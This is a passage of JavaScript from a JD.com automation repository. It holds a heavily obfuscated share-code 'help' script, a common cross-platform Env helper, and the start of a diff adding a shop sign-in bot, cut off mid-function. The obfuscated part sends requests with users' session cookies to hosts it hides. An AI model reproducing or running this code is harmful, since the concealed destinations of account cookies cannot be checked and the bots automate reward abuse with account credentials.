_0xdac550=_0x3bf4c6[_0x49e1('178','kA#Y')](PostRequest,_0x58a70f);return new Promise(_0x2e8890=>{var _0x39fa40={'xSFhx':function(_0x2301bb){return _0x3bf4c6[_0x49e1('179','9gIW')](_0x2301bb);},'hCSxf':function(_0x2f2eaf,_0x28c1c2){return _0x2f2eaf===_0x28c1c2;},'zhqqu':'zeLIA','FtGKk':function(_0xe39f88,_0x1541bd){return _0xe39f88==_0x1541bd;},'DaElQ':_0x49e1('17a','g85['),'rcCdf':_0x3bf4c6[_0x49e1('17b','3@lB')],'PZqdW':_0x3bf4c6[_0x49e1('17c','cu4Y')],'NHYgO':_0x3bf4c6[_0x49e1('17d','os^Y')],'iFJkz':function(_0x19e09c){return _0x3bf4c6[_0x49e1('17e','0!!V')](_0x19e09c);}};if(_0x49e1('17f','osi%')!==_0x3bf4c6[_0x49e1('180','92v[')]){$[_0x49e1('181','G^pB')](_0xdac550,async(_0x480d2d,_0x1972a6,_0x5c7df1)=>{try{if(_0x39fa40['hCSxf'](_0x39fa40[_0x49e1('182','cu4Y')],_0x39fa40[_0x49e1('183','#6v6')])){const _0x19a65c=JSON[_0x49e1('184','c1I1')](_0x5c7df1);$[_0x49e1('185','5ix!')](_0x5c7df1);if(_0x19a65c&&_0x19a65c[_0x49e1('186','Ur#%')]&&_0x39fa40[_0x49e1('187','kA#Y')](_0x19a65c['code'],0xc8)){console[_0x49e1('a4','lKzt')](_0x39fa40[_0x49e1('188','9gIW')]);await $['wait'](0x1f40);}else{if(_0x39fa40[_0x49e1('189','^fE*')](_0x39fa40[_0x49e1('18a','oE*m')],_0x39fa40[_0x49e1('18b','H%a$')])){$[_0x49e1('18c','5nIZ')](_0x19a65c[_0x49e1('18d','osi%')]+'\x0a');}else{return Array[_0x49e1('18e','3@lB')](new Set(array));}}}else{$['logErr'](e,_0x1972a6);}}catch(_0x4992b4){$['logErr'](_0x4992b4,_0x1972a6);}finally{if(_0x39fa40['PZqdW']===_0x39fa40[_0x49e1('18f','omiL')]){_0x39fa40['xSFhx'](_0x2e8890);}else{_0x39fa40[_0x49e1('190','5ix!')](_0x2e8890);}}});}else{const _0x40aea0=_0x49e1('191','WZ^L');const _0x10b534=_0x49e1('192','ecwQ');const _0x46e39d={'Accept':_0x3bf4c6[_0x49e1('193','5ix!')],'Accept-Encoding':_0x3bf4c6[_0x49e1('194','G^pB')],'Accept-Language':_0x49e1('195','omiL'),'Connection':_0x49e1('196','9gIW'),'Content-Type':_0x49e1('197','nYN['),'Cookie':cookie,'Host':_0x3bf4c6[_0x49e1('198','k$Vn')],'Origin':_0x3bf4c6[_0x49e1('199',')GaO')],'Referer':_0x3bf4c6['cvEwV'],'User-Agent':_0x3bf4c6['CpHfN']};return{'url':_0x40aea0,'method':_0x10b534,'headers':_0x46e39d,'body':_0x58a70f};}});}async function scan(){var _0x4fb0e6={'JgCdQ':function(_0x413411,_0x215af1){return _0x413411==_0x215af1;},'xTkXo':_0x49e1('19a','3YW('),'rrtAA':_0x49e1('19b','k$Vn'),'VSfqe':_0x49e1('19c','c1I1')};const _0x46194e=_0x49e1('19d',']@jd')+tasktype+_0x49e1('19e','5v)#')+taskid+_0x49e1('19f','!Y1m')+currentdate+_0x49e1('1a0','(2qs')+new Date()['getTime']()+_0x49e1('1a1','h90t');const _0x21a014=PostRequest(_0x46194e);return new Promise(_0x4e36ef=>{$[_0x49e1('1a2','omiL')](_0x21a014,async(_0x4f363e,_0x569d2b,_0x110409)=>{try{const _0x352793=JSON[_0x49e1('1a3','!Y1m')](_0x110409);if(logs)$[_0x49e1('1a4','g85[')](_0x110409);if(_0x352793&&_0x352793['code']&&_0x4fb0e6[_0x49e1('1a5','G^pB')](_0x352793['code'],0xc8)){$[_0x49e1('1a6','pUel')]=_0x352793[_0x49e1('1a7','9gIW')][_0x49e1('1a6','pUel')];if($['timeStamp'])$[_0x49e1('1a8',')GaO')](_0x49e1('1a9','CtxQ'));await $[_0x49e1('1aa','h90t')](0x3e8);}else{if(_0x4fb0e6[_0x49e1('1ab','sJC]')]!==_0x4fb0e6[_0x49e1('1ac','osi%')]){$['log'](_0x4fb0e6[_0x49e1('1ad','sJC]')]);}else{sharecodeArr[_0x49e1('1ae','G^pB')](sharecodesArr[i][j]['Code']);}}}catch(_0x24eee2){$[_0x49e1('1af','ecwQ')](_0x24eee2,_0x569d2b);}finally{_0x4e36ef();}});});}async function readShareCodes(){var _0x34f52f={'WihRi':function(_0x332e60,_0x43c463){return _0x332e60==_0x43c463;},'jRhKA':_0x49e1('1b0','(2qs'),'FSVPb':function(_0x4dcd70,_0x48a81f){return _0x4dcd70+_0x48a81f;},'TSOAA':function(_0x47c743){return _0x47c743();},'YXxiq':_0x49e1('1b1','oNuW'),'VsZOZ':function(_0x260d08,_0x4cd2e5){return _0x260d08<_0x4cd2e5;},'zpprb':function(_0x276f3b,_0x49827a){return _0x276f3b!==_0x49827a;},'CzKqE':_0x49e1('1b2','5ix!'),'CphFv':_0x49e1('1b3','Ur#%'),'ZDJKm':_0x49e1('1b4','5v)#'),'iElpu':function(_0x132f54,_0x3f82d4){return _0x132f54===_0x3f82d4;},'UPNJe':_0x49e1('1b5','6xw5'),'JlzSM':'ZhpzG'};return new Promise(_0x5d6371=>{var _0x473cf4={'XQrty':function(_0x32cc3d,_0x5d056a){return _0x34f52f[_0x49e1('1b6','WZ^L')](_0x32cc3d,_0x5d056a);},'siaka':_0x34f52f['jRhKA'],'EorBe':function(_0x4971de,_0x519f26){return _0x34f52f[_0x49e1('1b7','WU9B')](_0x4971de,_0x519f26);},'NKNdh':function(_0x43da0d){return _0x34f52f[_0x49e1('1b8','(2qs')](_0x43da0d);},'CHoAI':_0x49e1('1b9','c1I1'),'DYIVv':_0x34f52f[_0x49e1('1ba',']@jd')],'FlISl':function(_0x3be303,_0x26bade){return _0x34f52f[_0x49e1('1bb','Gyql')](_0x3be303,_0x26bade);},'thyTj':function(_0x308d6d,_0x1b1e60){return _0x34f52f['zpprb'](_0x308d6d,_0x1b1e60);},'UOffM':_0x34f52f[_0x49e1('1bc','cu4Y')],'LkodN':function(_0x3ec112,_0x558904){return _0x3ec112===_0x558904;},'JHhsq':_0x34f52f['CphFv'],'nEKbJ':_0x34f52f['ZDJKm'],'LWefh':function(_0x1b21c8,_0x2f48d7){return _0x34f52f[_0x49e1('1bd','nYN[')](_0x1b21c8,_0x2f48d7);},'RuUGa':'soXLl','LkPCu':_0x34f52f['UPNJe'],'fbZwU':_0x34f52f[_0x49e1('1be','pUel')],'bqDdm':function(_0x2486b2){return _0x2486b2();}};let _0x1abeb9={'url':_0x49e1('1bf','Ur#%')};$[_0x49e1('1c0','B46s')](_0x1abeb9,async(_0x30cfa5,_0x215dee,_0x409f07)=>{var _0xffd407={'HfJQy':function(_0x271dbd){return _0x473cf4[_0x49e1('1c1','6xw5')](_0x271dbd);},'cJcTJ':function(_0x125a44,_0x3f7f0f){return _0x125a44+_0x3f7f0f;}};if(_0x473cf4[_0x49e1('1c2','N@4T')]==='yxghv'){_0xffd407[_0x49e1('1c3',')GaO')](_0x5d6371);}else{try{const _0x5196e2=JSON[_0x49e1('1c4','G^pB')](_0x409f07);if(!![]){var _0x3013ac=new Array();for(var _0x37c769 in _0x5196e2){if('oizAy'===_0x473cf4[_0x49e1('1c5','os^Y')]){_0x3013ac[_0x49e1('1c6','3@lB')](_0x5196e2[_0x37c769]);}else{$[_0x49e1('119','N@4T')]($[_0x49e1('1c7','omiL')],_0x49e1('1c8','oE*m'));return;}}var _0x2fcf89=new Array();for(let _0x37c769=0x0;_0x473cf4[_0x49e1('1c9','6xw5')](_0x37c769,_0x3013ac[_0x49e1('1ca','3@lB')]);_0x37c769++){if(_0x473cf4[_0x49e1('1cb','92v[')](_0x473cf4[_0x49e1('1cc','6xw5')],_0x473cf4[_0x49e1('1cd','0!!V')])){if(_0x473cf4['XQrty'](typeof str,_0x473cf4[_0x49e1('1ce','92v[')])){try{return JSON['parse'](str);}catch(_0x2ab7c5){console[_0x49e1('1cf','B46s')](_0x2ab7c5);$['msg']($[_0x49e1('1d0','9gIW')],'',_0x49e1('1d1','euW4'));return[];}}}else{for(var _0x8d3edb in _0x3013ac[_0x37c769]){if(_0x473cf4[_0x49e1('1d2','LoOu')](_0x473cf4[_0x49e1('1d3','h90t')],_0x473cf4[_0x49e1('1d4','pUel')])){$[_0x49e1('1d5','G^pB')]=_0x5196e2[_0x49e1('1d6','0!!V')];for(var _0x33bac0 in $[_0x49e1('1d7','h90t')]){taskTypeArr[_0x49e1('1d8','92v[')]($[_0x49e1('1d9','(2qs')][_0x33bac0][_0x49e1('1da','ES%V')]);taskIdArr['push']($[_0x49e1('1db','9gIW')][_0x33bac0][_0x49e1('1dc','9^M$')]);}}else{_0x2fcf89[_0x49e1('1c6','3@lB')](_0x3013ac[_0x37c769][_0x8d3edb]['Code']);}}}}CodeArr=_0x2fcf89;return _0x2fcf89;}}catch(_0x2aa09e){if(_0x473cf4[_0x49e1('1dd','#6v6')](_0x473cf4[_0x49e1('1de','kA#Y')],_0x473cf4[_0x49e1('1df','oNuW')])){$['log'](_0x473cf4[_0x49e1('1e0','0h0g')]('😫'+result[_0x49e1('1e1','WU9B')],'\x0a'));}else{$[_0x49e1('5e','0h0g')](_0x2aa09e,_0x215dee);}}finally{if(_0x473cf4['fbZwU']!==_0x473cf4['fbZwU']){$[_0x49e1('1e2','WU9B')](_0xffd407['cJcTJ']('😫'+result[_0x49e1('1e3',']@jd')],'\x0a'));}else{_0x473cf4[_0x49e1('1e4','3@lB')](_0x5d6371);}}}});});}async function formatcode(){var _0x595deb={'JnYGL':function(_0x399872){return _0x399872();},'xngWb':function(_0x23f175,_0x2767bb){return _0x23f175+_0x2767bb;},'zWZsg':function(_0x12bcc0,_0x2f12ba){return _0x12bcc0<_0x2f12ba;},'RlOfw':function(_0x417465,_0x845747){return _0x417465+_0x845747;},'SlQVM':function(_0x106f71,_0x19411d){return _0x106f71+_0x19411d;},'GghpH':function(_0x428155,_0x8ab020){return _0x428155+_0x8ab020;},'IwHtR':function(_0x18009d,_0x485794){return _0x18009d(_0x485794);},'lGiHO':function(_0x2c6dc7,_0x414d73){return _0x2c6dc7*_0x414d73;}};await _0x595deb['JnYGL'](readShareCodes);var _0x159e66=[];var _0x3d4c00=CodeArr;var _0x4b4df7=_0x3d4c00[_0x49e1('1e5','(2qs')];for(var _0x266b12=0x0;_0x266b12<0x3;_0x266b12++){var _0x381450=_0x595deb[_0x49e1('1e6','B46s')](~~(Math[_0x49e1('1e7','cu4Y')]()*_0x4b4df7),_0x266b12);_0x159e66[_0x266b12]=_0x3d4c00[_0x381450];_0x3d4c00[_0x381450]=_0x3d4c00[_0x266b12];_0x4b4df7--;}console[_0x49e1('1e8','G^pB')](_0x595deb[_0x49e1('1e9','3@lB')](_0x595deb['xngWb'](_0x49e1('1ea','5nIZ'),$[_0x49e1('1eb','h90t')]+_0x49e1('1ec','ES%V')),_0x159e66)+'】\x0a');for(let _0x266b12=0x0;_0x595deb['zWZsg'](_0x266b12,_0x159e66[_0x49e1('eb','0h0g')]);_0x266b12++){console[_0x49e1('169','cu4Y')](_0x595deb[_0x49e1('1ed','sJC]')](_0x595deb[_0x49e1('1ee','3@lB')]('开始第'+_0x595deb[_0x49e1('1ef',')GaO')](_0x266b12,0x1)+'次助力',_0x159e66[_0x266b12]),'\x0a'));await _0x595deb['IwHtR'](dosupport,_0x159e66[_0x266b12]);await $['wait'](_0x595deb['lGiHO'](0x3e8,_0x159e66[_0x49e1('1f0','Bg*j')]));}}async function showmsg(){var _0x349347={'OoaCy':function(_0x4d09dd,_0x58431d){return _0x4d09dd==_0x58431d;},'lqKSu':function(_0x2db623,_0x5ef581){return _0x2db623==_0x5ef581;},'mfSaY':function(_0x5a9ca6,_0x49baa7){return _0x5a9ca6<=_0x49baa7;},'nwZUz':function(_0x3b9c2d,_0x42a01b){return _0x3b9c2d>=_0x42a01b;},'PeWbf':function(_0x1ed539,_0x3d048e){return _0x1ed539>=_0x3d048e;}};if(_0x349347[_0x49e1('1f1','Gyql')](tz,0x1)){if($[_0x49e1('1f2','kA#Y')]()){if(_0x349347['lqKSu'](hour,0xc)&&_0x349347['mfSaY'](minute,0x14)||_0x349347[_0x49e1('1f3','oE*m')](hour,0x17)&&_0x349347[_0x49e1('1f4','nYN[')](minute,0x28)){await notify['sendNotify']($[_0x49e1('1f5','ecwQ')],message);}else{$[_0x49e1('1f6','os^Y')](message);}}else{if(hour==0xc&&minute<=0x14||_0x349347[_0x49e1('1f7','CtxQ')](hour,0x17)&&_0x349347[_0x49e1('1f8','Sizb')](minute,0x28)){$[_0x49e1('24','9gIW')](zhiyi,'',message);}else{$['log'](message);}}}else{$[_0x49e1('1e8','G^pB')](message);}}function jsonParse(_0x1a6aac){var _0x495161={'MExXR':_0x49e1('1f9','kA#Y'),'OICzp':_0x49e1('1fa','92v[')};if(typeof _0x1a6aac==_0x495161[_0x49e1('1fb','G^pB')]){try{return JSON['parse'](_0x1a6aac);}catch(_0x5d3326){console[_0x49e1('1a8',')GaO')](_0x5d3326);$[_0x49e1('1fc','ecwQ')]($['name'],'',_0x495161[_0x49e1('1fd','P5ZW')]);return[];}}}function distinct(_0xd31ddc){return Array[_0x49e1('1fe','9^M$')](new Set(_0xd31ddc));}function getNowFormatDate(){var _0x143b98={'VgYKQ':function(_0x78eb4d,_0x169507){return _0x78eb4d+_0x169507;},'ATWBQ':function(_0x7b4ebd,_0x593bc3){return _0x7b4ebd+_0x593bc3;},'kAPvT':function(_0x182639,_0x43d245){return _0x182639*_0x43d245;},'Cyrqa':function(_0x36995d,_0x44ba1e){return _0x36995d+_0x44ba1e;},'GHClN':function(_0x39e125,_0x7b7a68){return _0x39e125===_0x7b7a68;},'uUUHT':_0x49e1('1ff','G^pB'),'fRZTS':function(_0xc4d977,_0x211b5d){return _0xc4d977<=_0x211b5d;},'tpHRa':function(_0x2c7e46,_0x97cabc){return _0x2c7e46===_0x97cabc;},'wIrgD':_0x49e1('200','nYN[')};if($['isNode']()){var _0x5b2a62=new Date(_0x143b98[_0x49e1('201','g85[')](_0x143b98[_0x49e1('202','9gIW')](new Date()[_0x49e1('203','WU9B')](),_0x143b98[_0x49e1('204','WU9B')](_0x143b98[_0x49e1('204','WU9B')](new Date()[_0x49e1('205','LoOu')](),0x3c),0x3e8)),_0x143b98[_0x49e1('206','os^Y')](_0x143b98[_0x49e1('207','92v[')](0x8,0x3c),0x3c)*0x3e8));}else{var _0x5b2a62=new Date();}var _0xc46e06='-';var _0x15a531=_0x5b2a62['getFullYear']();var _0x39adf7=_0x143b98['Cyrqa'](_0x5b2a62[_0x49e1('208',']@jd')](),0x1);var _0x4fb3fd=_0x5b2a62[_0x49e1('209','P5ZW')]();if(_0x39adf7>=0x1&&_0x39adf7<=0x9){if(_0x143b98[_0x49e1('20a','euW4')](_0x143b98[_0x49e1('20b','B46s')],_0x49e1('20c','9^M$'))){_0x39adf7=_0x143b98[_0x49e1('20d','k$Vn')]('0',_0x39adf7);}else{return JSON[_0x49e1('20e','os^Y')](str);}}if(_0x4fb3fd>=0x0&&_0x143b98[_0x49e1('20f','VRys')](_0x4fb3fd,0x9)){if(_0x143b98['tpHRa'](_0x143b98[_0x49e1('210','Ur#%')],_0x143b98['wIrgD'])){_0x4fb3fd=_0x143b98['Cyrqa']('0',_0x4fb3fd);}else{var _0x5d8c9b=new Date();}}newtime=_0x143b98[_0x49e1('211','CtxQ')](new Date()[_0x49e1('212','#6v6')](),_0x143b98[_0x49e1('213','6xw5')](0x8,0x3c)*0x3c*0x3e8);currentdate=_0x143b98['Cyrqa'](_0x143b98[_0x49e1('214','0!!V')](JSON[_0x49e1('215','Sizb')](_0x15a531),_0x39adf7),_0x4fb3fd);return currentdate;};_0xodi='jsjiami.com.v6';function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_dpqd.js b/backUp/jd_dpqd.js new file mode 100644 index 0000000..a8f9584 --- /dev/null +++ b/backUp/jd_dpqd.js @@ -0,0 +1,364 @@ +/* +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +0 0 * * * https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js, tag=店铺签到, enabled=true +===========Loon============ +[Script] +cron "0 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js,tag=店铺签到 +============Surge============= +店铺签到 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.js +===========小火箭======== +店铺签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/JavaScript/master/Task/jd_shop_sign.jss, cronexpr="0 0 * * *", timeout=3600, enable=true +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + "B3A9883216190B198C546D21A18E0738", + '407910EA26539B7058C483ACAAD92EA8', + "50A6EFF0F4CFCE65B0FA46CF0A23DB53", + "6DA953F013BAF9AC80B074A15752048F", + "1278D2D9916E3BAC83FCB2636E85D756", + "AB5172B51CF895DB51A9C9CAE86DF17B", + "50A6EFF0F4CFCE65B0FA46CF0A23DB53", + "B30902FF38E2329AD719B440E90A5087", + "C9E43741BE8BDCC394A1F767F088E59B", + "5E4DD4A707A5047D34C3E12B39C61B75", + "83CBCE483E8C4A05832162565E20C8CF", + "63DCF7ED48BCE0B3AAE8C18C13BB4000", + "5BFD60270889439B26FCEA611D299A1B", + "806AB8851560F6F462489526E3216EA1", + "F9B4F1AE95822A31172C333437624725", + "C3E62BCF3E9D62593FBF634D349D864A", + "68B823FFD5F0E4326E3256E05E102280", + "C7DB74FE1C4A277C5255F47E36F91385", + "2CD290865D5844EA6951B5778A2C7379", + "638D7446A5712C226B334665166ECFD9", +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + 